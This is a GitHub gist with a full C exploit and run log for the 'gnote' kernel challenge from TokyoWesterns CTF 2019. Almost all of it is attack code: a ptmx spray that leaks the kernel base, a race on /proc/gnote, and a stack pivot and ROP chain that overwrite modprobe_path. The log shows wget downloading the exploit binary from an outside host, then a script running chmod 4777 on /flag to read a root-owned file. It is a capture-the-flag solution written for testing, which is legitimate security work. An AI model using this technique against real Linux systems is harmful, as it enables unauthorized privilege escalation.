Last active
September 2, 2019 08:25
-
-
Save hama7230/645dea838de243ca73b94b35b24cd510 to your computer and use it in GitHub Desktop.
TokyoWesterns CTF 5th 2019 gnote
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
I'm not the author of "gnote". the autor is ga_ryo_ | |
However I wrote my own exploit code to check if the challenge is solvable before starting the contest. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc -static -masm=intel -o exp exp.c -lpthread | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <pthread.h> | |
int fd ; | |
unsigned int args[2] = {0, 0}; | |
int ptmx_fds[0x100]; | |
void open_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
ptmx_fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR); | |
} | |
void close_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
close(ptmx_fds[i]); | |
} | |
int g_write_add(unsigned int size) { | |
unsigned int buf[2] = {1, size}; | |
return write(fd, buf, 0xbeef); | |
} | |
int g_write_select(unsigned int idx) { | |
unsigned int buf[2] = {5, idx}; | |
return write(fd, buf, 0xdead); | |
} | |
int g_read(unsigned long* buf, unsigned int size) { | |
return read(fd, buf, size); | |
} | |
void* thread() { | |
while (1) { | |
args[0] = 5; | |
write(fd, args, 0xbad); | |
} | |
} | |
int main(void) { | |
fd = open("/proc/gnote", O_RDWR); | |
if (fd < 0) | |
exit(1); | |
// leak kernel base address | |
unsigned long tmp[0x400/8]; | |
memset(tmp, 0, sizeof(tmp)); | |
open_ptmx(); | |
close_ptmx(); | |
g_write_add(0x400); | |
g_write_add(0x400); | |
g_write_select(0); | |
g_read(tmp, 0x400); | |
/* | |
for (int i=0; i<0x400/8; i++) | |
printf("%lx ", tmp[i]); | |
*/ | |
unsigned long leak = tmp[0x2b0/8]; | |
printf("leak = %lx\n", leak); | |
// ffffffff812ac7d0 | |
if (leak&0xfff != 0x7d0) { | |
g_write_select(1); | |
g_read(tmp, 0x400); | |
} | |
leak = tmp[0x2b0/8]; | |
unsigned long kernel_base = leak - 0x2ac7d0; | |
printf("kernel_base = 0x%lx\n", kernel_base); | |
unsigned long* fake_table = mmap((void*)0x6b5000000, 0x1000000, PROT_READ|PROT_WRITE|PROT_EXEC, 0x32 | MAP_POPULATE, -1, 0); | |
// memset(fake_table, 'A', 0x1000000); | |
// 0xffffffff81254075: mov esp, 0x5B000000 ; pop r12 ; pop rbp ; ret ; (1 found) | |
unsigned long pivot_gadget = kernel_base + 0x254075; | |
for (int i=0; i<0x1000000/8; i++) | |
fake_table[i] = pivot_gadget; | |
unsigned long* fake_stack = mmap((void*)0x5B000000-0x1000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, 0x32 | MAP_POPULATE, -1, 0); | |
unsigned long modprobe_path = kernel_base + 0xc2c540; | |
// 0xffffffff810eb471: mov qword [rax], rdi ; pop rbp ; ret ; (1 found) | |
// 0xffffffff810209e1: pop rax ; ret ; (13 found) | |
// 0xffffffff8101c20d: pop rdi ; ret ; (31 found) | |
unsigned long pop_rax = kernel_base + 0x209e1; | |
unsigned long pop_rdi = kernel_base + 0x1c20d; | |
unsigned long mov_rax_rdi = kernel_base + 0x0eb471; | |
unsigned long infinite_loop = kernel_base + 0x215; | |
fake_stack += (0x1000/8); | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = pop_rax; | |
*fake_stack++ = modprobe_path; | |
*fake_stack++ = pop_rdi; | |
*fake_stack++ = 0x612f706d742f; | |
*fake_stack++ = mov_rax_rdi; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = infinite_loop; | |
pthread_t t; | |
pthread_create(&t, NULL, thread, (void*)NULL); | |
while (1) { | |
args[0]=0xdeadbeef; | |
} | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/ $ cd tmp && wget http://storage.googleapis.com/unko_garyo_exp/exp && chmod +x | |
./exp | |
Connecting to storage.googleapis.com (172.217.24.144:80) | |
exp 100% |********************************| 873k 0:00:00 ETA | |
/tmp $ ./exp & | |
leak = ffffffff8f0ac7d0 | |
kernel_base = 0xffffffff8ee00000 | |
/tmp $ cat /proc/sys/kernel/modprobe | |
/tmp/a | |
/tmp $ echo -ne "\xff\xff\xff\xff" > /tmp/b && chmod +x /tmp/b | |
/tmp $ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /flag\n" > /tmp/a && chmod +x /tm | |
p/a | |
/tmp $ ./b | |
./b: line 1: ����: not found | |
/tmp $ ls -al /flag | |
-rwsrwxrwx 1 root root 40 Aug 30 15:29 /flag | |
/tmp $ cat /flag | |
TWCTF{Ga_ryo_is_master_of_note_creator} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment